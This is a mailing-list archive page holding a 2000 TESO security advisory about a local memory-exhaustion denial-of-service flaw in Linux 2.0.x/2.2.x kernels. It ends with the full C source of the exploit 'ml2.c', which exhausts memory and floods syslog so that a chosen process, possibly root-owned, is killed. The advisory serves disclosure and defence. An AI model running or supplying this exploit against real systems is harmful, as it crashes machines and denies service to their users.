lkml.org 
[lkml]   [2000]   [Jan]   [9]   [last100]   RSS Feed
Views: [wrap][no wrap]   [headers]  [forward] 
 
Messages in this thread
    /
    Date
    From
    SubjectLinux Kernel 2.0.x/2.2.x local Denial of Service attack


    ------

    TESO Security Advisory
    09/01/2000

    Linux Kernel 2.0.x and 2.2.x local Denial of Service attack


    Summary
    ===================

    A weakness within the Linux 2.0.x and Linux 2.2.x kernels has been
    discovered. The vulnerability allows any user without limits on the
    system to crash arbitary processes, even those owned by the superuser.
    Even system crashes can be experienced.


    Systems Affected
    ===================

    All systems running the kernel versions 2.0.x or 2.2.x of the Linux
    operating system with local users who have no resource limits.
    It is not enough to set special values only for the max. number of
    processer per user ('forkbomb').
    Linux 2.3.x systems may be affected, too, we didn't tested this versions.


    Tests
    ===================

    A system crash or the crash of particular processes can be reproduced
    using the included exploit file "ml2.c", written by Stealth [3].
    We've successfully managed to crash Linux 2.0.x and 2.2.x systems with
    it.


    Impact
    ===================

    By crashing single processes or even crashing the whole system an attacker
    may render the whole system unuseable to any other user (including
    superuser) or selectivly kill only important processes, denying services
    to legitimate use.


    Explanation
    ===================

    Any user can request a big amount of memory, 'stealing' required space for
    important processes (syslogd, klogd, ...). Due to a lack of space, a
    system-call of these processes that requires new space will fail. In
    consequence this process will be killed by the kernel.
    (see arch/{...}/mm/fault.c)

    There should be a mechanism that protects a pool of memory for important
    processes, which can only be accessed by the kernel itself or by processes
    with (E)UID of 0.

    The real bad thing in this is that unlimited resources are the default-case
    and kernel happily gives away all the space to these unlimited processes.
    In the kernel's eyes the process of luser foo has the same right/priority
    for memory-requests as even init.


    Solution
    ===================

    Since the problem can only be exploited by users who already have local
    access, the best way to prevent this and other local attacks is to give
    only those users access that can be trusted.

    However this problem is within the Linux kernel and can definitely be
    fixed.
    As a general advice the administrator should heavily use resource-limits
    for all 'dangerous' parts such as max. numbers of processes, max. memory
    etc.. Also programs such as [4] should be used on important systems to
    prevent local DoS attacks.

    The Linux kernel developers have been notified at the same time as the
    public Linux community, so a safe patch should be available real soon.


    Acknowledgments
    ================

    The bugdiscovery and further analyzation was done by

    S. Krahmer http://www.cs.uni-potsdam.de/homepages/students/linuxer

    The exploit is due to

    Stealth http://www.kalug.lug.net/stealth

    This advisory has been written by scut and stealth.


    Contact Information
    ===================

    The teso crew can be reached by mailing to teso@shellcode.org.
    Our webpage is at http://teso.scene.at/

    "C-Skills" developers may be reached through [2].


    References
    ===================

    [1] TESO
    http://teso.scene.at/

    [2] S. Krahmer
    http://www.cs.uni-potsdam.de/homepages/students/linuxer

    [3] Stealth
    http://www.kalug.lug.net/stealth/

    [4] Fork Bomb Defuser
    http://www.geocities.com/SiliconValley/Software/9197/rexfbd.htm


    Disclaimer
    ===================

    This advisory does not claim to be complete or to be usable for any
    purpose. Especially information on the vulnerable systems may be
    inaccurate or wrong. The supplied exploit is not to be used for malicious
    purposes, but for educational purposes only.

    This advisory is free for open distribution in unmodified form.
    Articles that are based on information from this advisory should include
    link [1] and [2].


    Exploit
    ===================

    We've created a working exploit to demonstrate the vulnerability.

    The exploit is available on either

    http://teso.scene.at/
    or
    http://www.cs.uni-potsdam.de/homepages/students/linuxer/


    ------

    regards,
    scut of teso

    --
    - scut@nb.in-berlin.de - http://nb.in-berlin.de/scut/ - sacbuctd@ircnet --
    -- you don't need a lot of people to be great, you need a few great to be --
    -- the best -----------------------------------------------------------------
    --- nuclear arrival weapon spy agent remain undercover, hi echelon ----------
    /*
    * Copyright (C) 1999/2000 Stealth.
    * All rights reserved.
    *
    * Redistribution and use in source and binary forms, with or without
    * modification, are permitted provided that the following conditions
    * are met:
    * 1. Redistributions of source code must retain the above copyright
    * notice, this list of conditions and the following disclaimer.
    * 2. Redistributions in binary form must reproduce the above copyright
    * notice, this list of conditions and the following disclaimer in the
    * documentation and/or other materials provided with the distribution.
    * 3. All advertising materials mentioning features or use of this software
    * must display the following acknowledgement:
    * This product includes software developed by Stealth.
    * 4. The name Stealth may not be used to endorse or promote
    * products derived from this software without specific prior written
    * permission.
    *
    * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY
    * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
    * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
    * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE
    * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
    * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
    * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
    * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
    * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
    * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
    * SUCH DAMAGE.
    */
    #include <stdio.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <syslog.h>

    #error

    /*** !!! DANGER !!!
    *** This program may crash your whole system, causing damage of any kind,
    *** even data-loss. So be sure what you do.
    ***/

    int main(int argc, char **argv)
    {
    char foo[1000];
    char bigmsg[10000];
    char *s, *hold_s;
    int i = 0;

    memset(bigmsg, 'X', sizeof(bigmsg)-1);
    if (argc < 2) {
    printf("usage: %s <pid to kill>\n", argv[0]);
    exit(1);
    }
    #if 0
    fork();
    #endif
    memset(foo, 0, sizeof(foo));
    snprintf(foo, sizeof(foo), "/proc/%s/stat", argv[1]);

    /* check whether process is still alive */
    while (access(foo, F_OK) == 0) {
    s = malloc(10000);
    if (s == NULL) {
    if (hold_s)
    free(hold_s);
    /* if (s)
    s[i%10000] = 0;
    */ printf("crashing ... \n");

    /* force a root-process to require some memory, so maybe
    * he dies before we die. :)
    */
    openlog("b00m", 0, 0);
    syslog(1, bigmsg);
    closelog();
    }
    printf("%d\r", i++); fflush(stdout);
    hold_s = s;
    }
    return 0;
    }

    \
     
     \ /
      Last update: 2005-03-22 13:55    [W:0.036 / U:0.476 seconds]
    ©2003-2016 Jasper Spaans. hosted at Digital OceanAdvertise on this site